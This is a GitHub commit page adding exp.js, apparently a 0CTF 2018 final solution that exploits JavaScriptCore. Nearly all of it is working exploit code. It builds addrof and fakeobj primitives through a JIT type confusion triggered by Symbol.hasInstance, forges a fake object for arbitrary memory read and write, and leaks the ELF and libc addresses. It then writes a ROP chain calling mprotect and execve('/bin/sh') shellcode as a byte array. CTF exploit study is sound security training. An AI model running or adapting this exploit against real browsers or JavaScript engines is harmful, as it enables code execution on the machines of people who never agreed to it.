Skip to content

Commit 4ef5ad9

Browse files
authored
Create exp.js
1 parent 68207be commit 4ef5ad9

File tree

1 file changed

+213
-0
lines changed

1 file changed

+213
-0
lines changed

2018/0ctf-final/jsc/exp.js

+213
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,213 @@
1+
let conversion_buffer = new ArrayBuffer(8);
2+
let float_view = new Float64Array(conversion_buffer);
3+
let int_view = new Uint32Array(conversion_buffer);
4+
Number.prototype.f2i = function() {
5+
float_view[0] = this;
6+
return int_view[0]+int_view[1]*0x100000000;
7+
}
8+
Number.prototype.i2f = function() {
9+
var right = this&0xffffffff;
10+
if(right < 0)
11+
right += 0x100000000;
12+
var left = (this-right)/0x100000000;
13+
int_view[0] = right;
14+
int_view[1] = left;
15+
return float_view[0];
16+
}
17+
18+
Number.prototype.value = function(){
19+
return (this-0x1000000000000).i2f();
20+
}
21+
Number.prototype.hex = function() {
22+
return '0x'+this.toString(16);
23+
}
24+
const varToString = varObj => Object.keys(varObj)[0]
25+
function show_addr(o){
26+
print( "Address:"+ addressOf(o).f2i().hex());
27+
}
28+
function gc(){
29+
for(var i=0;i<0x100;i++){
30+
new ArrayBuffer(0x10000);
31+
}
32+
}
33+
function getRandomInt(max) {
34+
return Math.floor(Math.random() * Math.floor(max));
35+
}
36+
function randstr(n){
37+
var table = "abcdefghijklmnopqrstuvwxyz";
38+
var t = "";
39+
for(var i=0;i<n;i++){
40+
t+=table[getRandomInt(table.length)];
41+
}
42+
return t;
43+
}
44+
45+
46+
47+
function addrof(obj){
48+
var rand = randstr(5);
49+
eval(`
50+
class ${rand}{
51+
static [Symbol.hasInstance](instance){
52+
doBad();
53+
return true;
54+
}
55+
};
56+
function handler(f){
57+
var result = f[0];
58+
[1.1,2.1] instanceof ${rand};
59+
return f[1]+0.0;
60+
};
61+
var doBad = function(){};
62+
for(var i=0;i<10000;i++){
63+
var f = [1.1,1.2];
64+
handler(f);
65+
}
66+
var f = [1.1,1.2];
67+
doBad = function(){
68+
f[1] = obj;
69+
}
70+
var ret = handler(f);
71+
`);
72+
return ret.f2i();
73+
}
74+
function fakeobj(value){
75+
var rand = randstr(5);
76+
eval(`
77+
class ${rand}{
78+
static [Symbol.hasInstance](instance){
79+
doBad();
80+
return true;
81+
}
82+
};
83+
function handler(f){
84+
var result = f[0];
85+
[1.1,2.1] instanceof ${rand};
86+
f[1] = ${value.i2f()};
87+
};
88+
var doBad = function(){};
89+
for(var i=0;i<10000;i++){
90+
var f = [];
91+
for(var c=0;c<0x10;c++){
92+
f.push(0.1);
93+
}
94+
handler(f);
95+
}
96+
var f = [];
97+
for(var c=0;c<0x10;c++){
98+
f.push(0.1);
99+
}
100+
doBad = function(){
101+
f[0] = Array;
102+
}
103+
handler(f);
104+
var ret = f[1];
105+
`);
106+
return ret;
107+
}
108+
var addr = addrof({p: 0x1337});
109+
var structs = []
110+
for (var i = 0; i < 0x1000;++i){
111+
var array = [13.37,1.234];
112+
array.pointer = 1234;
113+
array['prop' + i] = 13.37;
114+
structs.push(array);
115+
}
116+
117+
var victim = structs[0x800];
118+
var flags_double_array = 0x0108200700000942.value();
119+
120+
var container = {
121+
header: flags_double_array,
122+
butterfly: victim
123+
};
124+
125+
// create object having |victim| as butterfly.
126+
var containerAddr = addrof(container);
127+
128+
// add the offset to let compiler recognize fake structure
129+
var hax = fakeobj(containerAddr+0x10);
130+
131+
//show_addr(hax);
132+
//show_addr(victim);
133+
134+
var origButterfly = hax[1];
135+
136+
var memory = {
137+
addrof: addrof,
138+
fakeobj: fakeobj,
139+
140+
// Write an int64 to the given address.
141+
write64(addr, int64) {
142+
data = [];
143+
for(var i=0;i<8;i++){
144+
data.push(int64&0xff);
145+
int64/=0x100;
146+
}
147+
this.write(addr,data);
148+
},
149+
150+
// Write a number of bytes to the given address. Corrupts 6 additional bytes after the end.
151+
write(addr, data) {
152+
while (data.length % 4 != 0)
153+
data.push(0);
154+
var bytes = new Uint8Array(data);
155+
var ints = new Uint16Array(bytes.buffer);
156+
157+
for (var i = 0; i < ints.length; i++){
158+
hax[1] = (addr+2*i+0x10).i2f();
159+
victim.pointer = ints[i];
160+
}
161+
},
162+
163+
// Read a 64 bit value. Only works for bit patterns that don't represent NaN.
164+
read64(addr) {
165+
// Set butterfly of victim object and dereference.
166+
//hax[1] = Add(addr, 0x10).asDouble();
167+
hax[1] = (addr+0x10).i2f();
168+
return this.addrof(victim.pointer);
169+
},
170+
};
171+
o = {a:1,b:2};
172+
function triger(o){
173+
return o.a+o.b;
174+
}
175+
for(var i=0;i<10000;i++){
176+
triger(o);
177+
}
178+
var triger_addr = addrof(Math.sin);
179+
print(triger_addr.hex());
180+
var p1 = memory.read64(triger_addr+0x10);
181+
var p2 = memory.read64(p1+0x40);
182+
print(p2.hex());
183+
184+
elf_base = p2 - 0x32be0;
185+
var libc_base = memory.read64(elf_base+0x33808) - 0x21ab0;
186+
print(libc_base.hex());
187+
var p4 = memory.read64(libc_base + 0x3ee098);
188+
print(p4.hex());
189+
start = p4 - 0x118;
190+
rop = [
191+
libc_base+0x2155f,
192+
Math.floor(p4/0x1000)*0x1000,
193+
libc_base + 0x01b96,// pop rdx
194+
7,
195+
libc_base+0x23e6a,//pop rsi
196+
0x1000,
197+
libc_base+0x11bae0,//mprotect
198+
p4
199+
]
200+
for(var i=0;i<rop.length;i++){
201+
memory.write64(start+i*8,rop[i]);
202+
}
203+
shellcode = [106, 104, 72, 184, 47, 98, 105, 110, 47, 47, 47, 115, 80, 72, 137, 231, 104, 114, 105, 1, 1, 129, 52, 36, 1, 1, 1, 1, 49, 246, 86, 106, 8, 94, 72, 1, 230, 86, 72, 137, 230, 49, 210, 106, 59, 88, 15, 5];
204+
memory.write(p4,shellcode);
205+
206+
207+
208+
209+
210+
211+
212+
213+

0 commit comments

Comments
 (0)